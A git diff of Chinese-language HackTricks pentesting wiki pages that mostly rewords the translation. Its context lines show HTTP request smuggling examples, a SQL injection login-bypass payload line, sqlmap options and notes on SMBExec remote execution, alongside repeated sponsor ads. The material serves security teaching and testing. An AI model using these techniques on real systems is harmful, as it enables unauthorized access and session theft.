* 请求中未处理的部分在其中一个服务器看来成为后续请求的一部分,从而导致走私。
* **示例:**
```
@ -161,7 +161,7 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
正常请求
```
#### **CL.0 场景**
@ -176,13 +176,13 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
非空主体
```
#### TE.0 场景
* 类似于前一个场景,但使用 TE。
* 技术 [报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* 技术 [这里报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **示例**:
```
OPTIONS / HTTP/1.1
@ -213,7 +213,7 @@ EMPTY_LINE_HERE
```
Connection: Content-Length
```
For **更多关于 hop-by-hop 头部的信息** 访问:
For **更多关于 hop-by-hop headers 的信息** 访问:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
@ -274,9 +274,9 @@ X
* **使用自动化工具:**
* 像 Burp Suite 的 'HTTP Request Smuggler' 扩展可以通过发送各种模糊请求并分析响应,自动测试这些漏洞。
* **Content-Length 变异测试:**
* 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理这些不匹配。
* 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理此类不匹配。
* **Transfer-Encoding 变异测试:**
* 发送具有模糊或格式错误的 `Transfer-Encoding`的请求,并监控前端和后端服务器如何对这些操控做出不同响应。
* 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器如何对这些操控做出不同响应。
### HTTP 请求走私漏洞测试
@ -317,7 +317,7 @@ Content-Length: 10
x=
```
在CL.TE攻击中初始请求利用了`Content-Length`头,而后续嵌入请求则使用`Transfer-Encoding: chunked`头。前端代理处理初始`POST`请求,但未能检查嵌入的`GET /admin`请求,从而允许未经授权访问`/admin`路径。
CL.TE 攻击中,初始请求利用了 `Content-Length` 头,而后续嵌入请求则使用 `Transfer-Encoding: chunked` 头。前端代理处理初始`POST` 请求,但未能检查嵌入的 `GET /admin` 请求,从而允许未经授权访问 `/admin` 路径。
**TE.CL 示例**
```
@ -335,11 +335,11 @@ a=x
0
```
相反在TE.CL攻击中初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续的嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似前端代理忽视了被走私的`GET /admin`请求,无意中授予了对受限`/admin`路径的访问。
相反在TE.CL攻击中初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续的嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似前端代理忽视了被隐藏的`GET /admin`请求,无意中授予了对受限`/admin`路径的访问。
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头信息,例如`X-Forwarded-For: <IP of the client>`以将客户端的IP转发给后端。理解这些修改可能至关重要因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头,例如`X-Forwarded-For: <IP of the client>`以将客户端的IP转发给后端。理解这些修改可能至关重要因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
要调查代理如何更改请求找到一个后端在响应中回显的POST参数。然后构造一个请求使用这个参数作为最后一个类似于以下内容
```
@ -360,7 +360,7 @@ search=
```
在这个结构中,后续请求组件被附加在 `search=` 之后,这是在响应中反映的参数。这个反映将暴露后续请求的头部。
重要的是要使嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反映的数据,而过高的值可能会导致请求出错。
重要的是要嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反映的数据,而过高的值可能会导致请求出错。
该技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
@ -390,17 +390,17 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
在这种情况下,**comment 参数**旨在存储在公开可访问页面上帖子评论部分的内容。因此,后续请求的内容将作为评论出现。
在这种情况下,**comment 参数**旨在存储在公开可访问页面的帖子评论部分中的内容。因此,后续请求的内容将作为评论出现。
然而,这种技术有其局限性。通常,它仅捕获到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
然而,这种技术有其局限性。通常,它仅捕获到在走私请求中使用的参数分隔符。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数。
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数
### 使用 HTTP 请求走私来利用反射型 XSS
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
* 不需要与目标用户进行 **交互**
* **不需要**与目标用户互动
* 允许在 **通常无法达到** 的请求部分中利用 XSS例如 HTTP 请求头。
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
@ -532,7 +532,7 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
### 通过HTTP请求走私滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -721,7 +721,7 @@ table.add(req)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP模糊测试工具有助于发现奇怪的请求走私差异。
## 参考
## 参考资料
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -735,9 +735,9 @@ table.add(req)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -751,7 +751,7 @@ table.add(req)
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
</details>
{% endhint %}

View file

@ -8,22 +8,23 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
此列表包含 **通过 XPath、LDAP 和 SQL 注入绕过登录的有效载荷**(按此顺序)。
使用此列表的方法是将 **前 200 行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,然后在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
使用此列表的方法是将 **前 200 行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,接着在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
```
admin
password
@ -832,9 +833,9 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -848,8 +849,8 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +43,7 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### 获取信息
### 检索信息
#### 内部
```bash
@ -151,7 +151,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
记住,**你可以用 Python 创建自己的 tamper**,这非常简单。你可以在[这里的第二次注入页面](second-order-injection-sqlmap.md)找到一个 tamper 示例。
请记住,**您可以在 Python 中创建自己的 tamper**,这非常简单。您可以在[第二次注入页面这里](second-order-injection-sqlmap.md)找到一个 tamper 示例。
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -207,9 +207,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -29,7 +29,7 @@
## 代理
{% hint style="info" %}
如今 **网络** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
如今 **网络** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要存在一个易受攻击的代理,但通常还需要后端的某些额外漏洞。
{% endhint %}
* [ ] [**滥用 hop-by-hop 头**](abusing-hop-by-hop-headers.md)
@ -99,7 +99,7 @@
* [ ] [**点击劫持**](clickjacking.md)
* [ ] [**内容安全策略绕过**](content-security-policy-csp-bypass/)
* [ ] [**Cookies 黑客**](hacking-with-cookies/)
* [ ] [**Cookies 黑客攻击**](hacking-with-cookies/)
* [ ] [**CORS - 错误配置与绕过**](cors-bypass.md)
### **绕过**
@ -153,9 +153,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。

View file

@ -17,19 +17,19 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 工作原理
**Smbexec** 是一个用于在 Windows 系统上进行远程命令执行的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
**Smbexec** 是一个用于在 Windows 系统上远程执行命令的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
### 关于 **SMBExec** 的关键点
- 它通过在目标机器上创建一个临时服务例如“BTOBTO”执行命令,通过 cmd.exe (%COMSPEC%),而不放置任何二进制文件。
- 它通过在目标机器上创建一个临时服务例如“BTOBTO”来通过 cmd.exe (%COMSPEC%) 执行命令,而不放置任何二进制文件。
- 尽管采用隐蔽的方法但它确实为每个执行的命令生成事件日志提供了一种非交互式的“shell”。
- 使用 **Smbexec** 连接的命令如下:
```bash
@ -55,9 +55,9 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用程序、网络和云
**获取黑客对您的网络应用程序、网络和云的看法**
**发现并报告对业务有重大影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}